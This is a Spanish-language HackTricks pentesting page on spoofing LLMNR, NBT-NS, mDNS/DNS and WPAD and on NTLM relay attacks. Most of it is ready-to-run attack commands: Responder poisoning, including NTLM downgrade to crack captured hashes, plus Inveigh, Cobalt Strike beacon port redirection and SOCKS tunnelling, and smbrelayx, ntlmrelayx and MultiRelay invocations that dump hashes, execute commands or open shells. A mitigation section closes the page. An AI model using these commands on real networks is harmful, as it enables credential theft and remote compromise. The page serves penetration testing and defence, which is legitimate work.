hacktricks/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
carlospolop 88fe91771a f
2023-06-05 20:55:20 +02:00

23 KiB

Suplantación de LLMNR, NBT-NS, mDNS/DNS y WPAD y ataques de relé

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Protocolos de red

LLMNR, NBT-NS y mDNS

Los sistemas de Microsoft utilizan Link-Local Multicast Name Resolution (LLMNR) y el servicio de nombres NetBIOS (NBT-NS) para la resolución de hosts locales cuando fallan las búsquedas DNS. Las implementaciones de Apple Bonjour y Linux de configuración cero utilizan Multicast DNS (mDNS) para descubrir sistemas dentro de una red. Estos protocolos no están autenticados y transmiten mensajes a través de UDP; por lo tanto, los atacantes pueden explotarlos para dirigir a los usuarios a servicios maliciosos.

Puede suplantar servicios que son buscados por los hosts utilizando Responder para enviar respuestas falsas.
Lea aquí más información sobre cómo suplantar servicios con Responder.

WPAD

Muchos navegadores utilizan Web Proxy Auto-Discovery (WPAD) para cargar la configuración del proxy desde la red. Un servidor WPAD proporciona la configuración del proxy del cliente a través de una URL específica (por ejemplo, http://wpad.example.org/wpad.dat) al ser identificado a través de cualquiera de los siguientes:

  • DHCP, utilizando una entrada de código 25234
  • DNS, buscando el nombre de host wpad en el dominio local
  • Microsoft LLMNR y NBT-NS (en caso de fallo de búsqueda DNS)

Responder automatiza el ataque WPAD, ejecutando un proxy y dirigiendo a los clientes a un servidor WPAD malicioso a través de DHCP, DNS, LLMNR y NBT-NS.

Envenenamiento de protocolos

Responder - LLMNR, NBT-NS y MDNS

Responder es un envenenador de LLMNR, NBT-NS y MDNS. Responder responderá a las consultas específicas de NBT-NS (servicio de nombres NetBIOS) basadas en su sufijo de nombre (ver: http://support.microsoft.com/kb/163409). Por defecto, la herramienta solo responderá a la solicitud del servicio de servidor de archivos, que es para SMB.

El concepto detrás de esto es dirigir nuestras respuestas y ser más sigilosos en la red. Esto también ayuda a asegurar que no rompamos el comportamiento legítimo de NBT-NS.

  • Responder está instalado en kali por defecto y el archivo de configuración se encuentra en **/etc/responder/Responder.conf ** (aquí puedes desactivar los servidores falsos)
  • Responder imprimirá las hashes en pantalla y las escribirá en un archivo de registro por host ubicado en el directorio /usr/share/responder/logs. Las hashes se guardan en el formato (NOMBRE_DEL_MÓDULO)-(TIPO_DE_HASH)-(IP_DEL_CLIENTE).txt
  • Puedes encontrar Responder para Windows aquí
  • Responder funciona en ipv4 e ipv6

Parámetros de Responder

--version           show program's version number and exit
-h, --help          show this help message and exit
-A, --analyze       Analyze mode. This option allows you to see NBT-NS,
                    BROWSER, LLMNR requests without responding.
-I eth0, --interface=eth0
                    Network interface to use, you can use 'ALL' as a
                    wildcard for all interfaces
-i 10.0.0.21, --ip=10.0.0.21
                    Local IP to use (only for OSX)
-6 2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed, --externalip6=2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed
                    Poison all requests with another IPv6 address than
                    Responder's one.
-e 10.0.0.22, --externalip=10.0.0.22
                    Poison all requests with another IP address than
                    Responder's one.
-b, --basic         Return a Basic HTTP authentication. Default: NTLM
-r, --wredir        Enable answers for netbios wredir suffix queries.
                    Answering to wredir will likely break stuff on the
                    network. Default: False
-d, --DHCP          Enable answers for DHCP broadcast requests. This
                    option will inject a WPAD server in the DHCP response.
                    Default: False
-D, --DHCP-DNS      This option will inject a DNS server in the DHCP
                    response, otherwise a WPAD server will be added.
                    Default: False
-w, --wpad          Start the WPAD rogue proxy server. Default value is
                    False
-u UPSTREAM_PROXY, --upstream-proxy=UPSTREAM_PROXY
                    Upstream HTTP proxy used by the rogue WPAD Proxy for
                    outgoing requests (format: host:port)
-F, --ForceWpadAuth Force NTLM/Basic authentication on wpad.dat file
                    retrieval. This may cause a login prompt. Default:
                    False
-P, --ProxyAuth     Force NTLM (transparently)/Basic (prompt)
                    authentication for the proxy. WPAD doesn't need to be
                    ON. This option is highly effective when combined with
                    -r. Default: False
--lm                Force LM hashing downgrade for Windows XP/2003 and
                    earlier. Default: False
--disable-ess       Force ESS downgrade. Default: False
-v, --verbose       Increase verbosity.
Parámetros de Responder
  • La bandera -A nos coloca en modo de análisis, permitiéndonos ver las solicitudes NBT-NS, BROWSER y LLMNR en el entorno sin envenenar ninguna respuesta.
  • Siempre debemos proporcionar una interfaz o una dirección IP.
  • -wf iniciará el servidor proxy malicioso WPAD.
  • -f intentará identificar el sistema operativo y la versión del host remoto.
  • Use la bandera -v para aumentar la verbosidad (se imprimirá mucha información adicional en la consola).
  • Las opciones como -F y -P se pueden utilizar para forzar la autenticación NTLM o básica y forzar la autenticación del proxy, pero pueden provocar una solicitud de inicio de sesión, por lo que deben usarse con moderación.
  • La bandera -w utiliza el servidor proxy WPAD incorporado. Esto puede ser muy efectivo, especialmente en grandes organizaciones, porque capturará todas las solicitudes HTTP de cualquier usuario que lance Internet Explorer si el navegador tiene habilitada la opción Detectar automáticamente la configuración.

Ejecutando Responder

Para ejecutar el comportamiento predeterminado de Responder, solo tienes que ejecutar:

responder -I <Iface> #Default conf
responder -I <Iface> -P -r -v #More chances but might break things

Una técnica interesante es utilizar Responder para degradar la autenticación NTLM cuando sea posible. Esto permitirá capturar desafíos y respuestas NTLMv1 en lugar de NTLMv2 que pueden ser fácilmente descifrados siguiendo esta guía.

#Remember that in order to crack NTLMv1 you need to set Responder challenge to "1122334455667788"
responder -I <Iface> --lm --disable-ess #Downgrade NTLM authntication if possible and force ESS downgrade

Por defecto, la impersonación de WPAD no se ejecutará, pero puedes ejecutarla haciendo:

responder -I <Iface> --wpad

También puedes resolver solicitudes NetBIOS con tu IP. Y crear un proxy de autenticación:

responder.py -I <interface> -Pv

Normalmente no podrás interceptar las contraseñas NTLM (normalmente), pero puedes fácilmente obtener algunos desafíos y respuestas NTLM que puedes descifrar usando, por ejemplo, la opción --format=netntlmv2 de john.

Los registros y los desafíos de la instalación predeterminada de Responder en Kali se pueden encontrar en /usr/share/responder/logs.

Responder - Envenenamiento DHCP

Windows utiliza varias opciones DHCP personalizadas, como NetBIOS, WINS, configuraciones de WPAD. Cuando una estación de trabajo envía una solicitud DHCP para obtener su configuración de red, estas configuraciones adicionales pueden incluirse en la respuesta DHCP para facilitar la conectividad y la resolución de nombres.

Falsificar respuestas DHCP sin interrupción puede ser un desafío ya que estás interfiriendo con la configuración de red de una estación de trabajo. Por lo general, necesitas tener un muy buen conocimiento del subred objetivo, dónde está el servidor DNS, dónde está el switch, la tabla de enrutamiento, el dominio, la máscara de red, el servidor DHCP, etc. Cualquier error con estas configuraciones resultará en interrupciones en la red.

Sin embargo, falsificar respuestas DHCP tiene beneficios únicos. Es definitivamente más sigiloso que el envenenamiento ARP; una respuesta unicast es suficiente para envenenar permanentemente la información de enrutamiento de la víctima, también es común ver varios servidores DHCP operando en una red. Las respuestas DHCP unicast son más complejas de detectar, algunos switches proporcionan configuraciones de seguridad para evitar el espionaje DHCP, sin embargo, esas configuraciones no son sencillas y a menudo se configuran incorrectamente cuando se habilitan.

Este ataque es altamente efectivo y te da contraseñas NTLMv1/2 aseguradas.

./Responder.py -I eth0 -Pdv

Responder - Capturando credenciales

Responder va a suplantar todos los servicios que usen los protocolos mencionados. Una vez que algún usuario intente acceder a un servicio que se resuelve usando esos protocolos, intentará autenticarse contra Responder y Responder podrá capturar las "credenciales" (probablemente un NTLMv2 Challenge/Response):

Es posible intentar degradar a NetNTLMv1 o intentar desactivar ESS.

Inveigh - Responder de C#/PowerShell

Inveigh es un falsificador de ADIDNS/LLMNR/NBNS/mDNS/DNS y una herramienta de hombre en el medio diseñada para ayudar a los probadores de penetración/equipos rojos que se encuentran limitados a un sistema Windows.

Inveigh era un script de PowerShell, ahora es un binario de C# que tiene las mismas características principales que Responder. Hay una wiki que enumera todos los parámetros e instrucciones de uso.
Otra versión se puede encontrar en InveighZero.

O ejecútelo con más opciones:

Invoke-Inveigh Y -NBNS Y -ConsoleOutput Y -FileOutput Y

O ejecuta la versión en C#:

Inveigh.exe

Ataque de relevo NTLM

Este ataque retransmite sesiones de autenticación SMB en una red interna a una máquina objetivo. Si la sesión de autenticación es exitosa, automáticamente se accede a una shell del sistema. Tenga en cuenta que la autenticación retransmitida debe ser de un usuario que tenga acceso de administrador local al host retransmitido y la firma SMB debe estar deshabilitada.

Reenvío y túneles 445

{% hint style="warning" %} Si puede introducir una máquina dentro de la red, puede usar cualquiera de las herramientas de la siguiente sección para realizar un ataque de relevo y no necesita preocuparse por esto. {% endhint %}

Sin embargo, en los equipos de respuesta a incidentes esto no es el caso, generalmente necesitará reenviar el tráfico del puerto 445 de una máquina Windows a su máquina ejecutando cualquiera de las siguientes herramientas y luego enrutando el tráfico de esa herramienta a través de un proxy para llegar a la máquina a atacar dentro de la red interna.

La herramienta PortBender es un controlador para redirigir el tráfico destinado al puerto 445 a otro puerto (por ejemplo, 8445) que podemos enlazar. Requiere acceso de administrador local para que se cargue el controlador. Tiene sentido usar cd C:\Windows\System32\drivers ya que aquí es donde van la mayoría de los controladores de Windows.

Cobalt Strike -> Script Manager -> Load (Select from the filesystem PortBender.cna)

beacon> cd C:\Windows\system32\drivers # Go to drivers dir
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Forward traffic to 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Send traffic to port 8445 to Team Server
beacon> socks 1080 # Socks proxy in port 1080 to attack host in the internal network from the Team Server

# To kill
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop

Metasploit

Metasploit es un framework de pruebas de penetración que permite a los profesionales de seguridad evaluar la seguridad de los sistemas y redes. Proporciona una amplia gama de herramientas y módulos para realizar pruebas de penetración en diferentes sistemas operativos y aplicaciones. Metasploit también se utiliza para automatizar tareas repetitivas y simplificar el proceso de pruebas de penetración. Es una herramienta muy popular en la comunidad de seguridad y se utiliza ampliamente en pruebas de penetración y evaluaciones de vulnerabilidades.

setg Proxies socks4:127.0.0.1:1080 # Use this if you need to route the traffic to reach the attacked ip
set SRVHOST <local_ip>
set SRVPORT 445
set SMBHOST <ip_to_auth_to>
run -j

smbrelayx

smbrelayx es una herramienta que permite realizar ataques de relé SMB. Básicamente, lo que hace es interceptar las solicitudes SMB que se realizan en la red y las reenvía a otro destino. Esto puede ser utilizado para realizar ataques de tipo "man-in-the-middle" y obtener credenciales de usuario. Además, smbrelayx también puede ser utilizado para realizar ataques de tipo "NTLMv2 hash theft", que permiten obtener hashes de contraseñas de usuarios sin necesidad de crackearlas.

python3 smbrelayx.py -t smb://<ip_to_attack> -smb2support --no-http-server --no-wcf-server
# By default it will just dump hashes
# To execute a command use: -c "ipconfig"
# To execute a backdoor use: -e "/path/to/backdoor

# Attack through socks proxy
proxychains python3 ntlmrelayx.py -t smb://<ip_to_attack> -smb2support --no-http-server --no-wcf-server

MultiRelay

Si deseas utilizar MultiRelay, ve a /usr/share/responder/tools y ejecuta MultiRelay (-t <IP objetivo> -u <Usuario>):

python MultiRelay.py -t <IP target> -u ALL # If "ALL" then all users are relayed
# By default a shell is returned
python MultiRelay.py -t <IP target> -u ALL -c whoami #-c to execute command
python MultiRelay.py -t <IP target> -u ALL -d #-d to dump hashes

# Use proxychains if you need to route the traffic to reach the attacked ip

Forzar Inicios de Sesión NTLM

En Windows, es posible forzar a algunas cuentas privilegiadas a autenticarse en máquinas arbitrarias. Lee la siguiente página para aprender cómo hacerlo:

{% content-ref url="../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md" %} printers-spooler-service-abuse.md {% endcontent-ref %}

Solución

Desactivar LLMNR

Para desactivar LLMNR en tu dominio para los clientes DNS, abre gpedit.msc.
Navega a Configuración del equipo->Plantillas administrativas->Red->Cliente DNS.
Localiza la opción "Desactivar la resolución de nombres multicast" y haz clic en "Configuración de directiva":

Una vez que se abra la nueva ventana, habilita esta opción, presiona Aplicar y haz clic en Aceptar:

Desactivar NBT-NS

Una opción para desactivar NBT-NS es usar opciones de ámbito DHCP.

Si usas el servidor DHCP de Microsoft, selecciona el ámbito para el que deseas desactivar NBT-NS. Haz clic derecho en "Opciones de ámbito" y haz clic en "Configurar opciones". En el ejemplo a continuación, el ámbito DHCP en el que quiero desactivar NBT-NS es 192.168.1.100.

En la ventana de opciones de ámbito, navega a la pestaña avanzada, cambia la ventana desplegable a "Opciones de Microsoft Windows 2000":

Selecciona la opción "001 Microsoft Disable Netbios Option" de la lista y cambia su valor a "0x2", haz clic en Aplicar y luego en Aceptar:

WPAD

Para mitigar el ataque WPAD, puedes agregar una entrada para "wpad" en tu zona DNS. Ten en cuenta que la entrada DNS no necesita apuntar a un servidor WPAD válido. Mientras las consultas se resuelvan, se evitará el ataque.

Multi-relay

1. Forzar la firma SMB en todas las máquinas locales con Windows. Esta configuración firmará digitalmente cada sesión SMB, lo que obliga tanto al cliente como al servidor a verificar la fuente de los paquetes antes de continuar. Esta configuración solo está habilitada de forma predeterminada en los controladores de dominio. Los siguientes artículos de Microsoft detallan estas configuraciones (que se pueden habilitar a través de la directiva de grupo) y cómo implementarlas.

https://blogs.technet.microsoft.com/josebda/2010/12/01/the-basics-of-smb-signing-covering-both-smb1-and-smb2/

https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/microsoft-network-client-digitally-sign-communications-always

2. Revisar y asegurarse de que los usuarios en la red local solo puedan iniciar sesión de forma remota en las máquinas en las que sea necesario. Por ejemplo: Sally solo puede iniciar sesión en la estación de trabajo de Sally. Si un atacante interceptara la sesión de autenticación SMB de Sally, no podría transmitir la sesión a ninguna estación de trabajo, lo que volvería inútil este método.

3. Restringir la autenticación NTLM en la red local tanto como sea posible. Este ataque no puede aprovechar la autenticación Kerberos, por lo que al limitar la cantidad de NTLM que ocurre, se puede obstaculizar en gran medida este ataque. Hay información de Microsoft sobre cómo hacer que esto suceda, pero ten cuidado... Si la autenticación Kerberos falla por cualquier motivo, generalmente se vuelve a NTLM. Si lo desactivas por completo, tu red podría detenerse.

4. Prevenir usuarios no autorizados en tu red. Una amenaza interna probablemente no utilizará un ataque de retransmisión SMB, ya que ya tiene credenciales de red. Reforzando tus políticas de seguridad física, previniendo dispositivos no autorizados en la red con ACL y filtrado MAC, y asegurando una segmentación de red adecuada, puedes limitar en gran medida la amenaza de que se realice este ataque.

Referencias

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥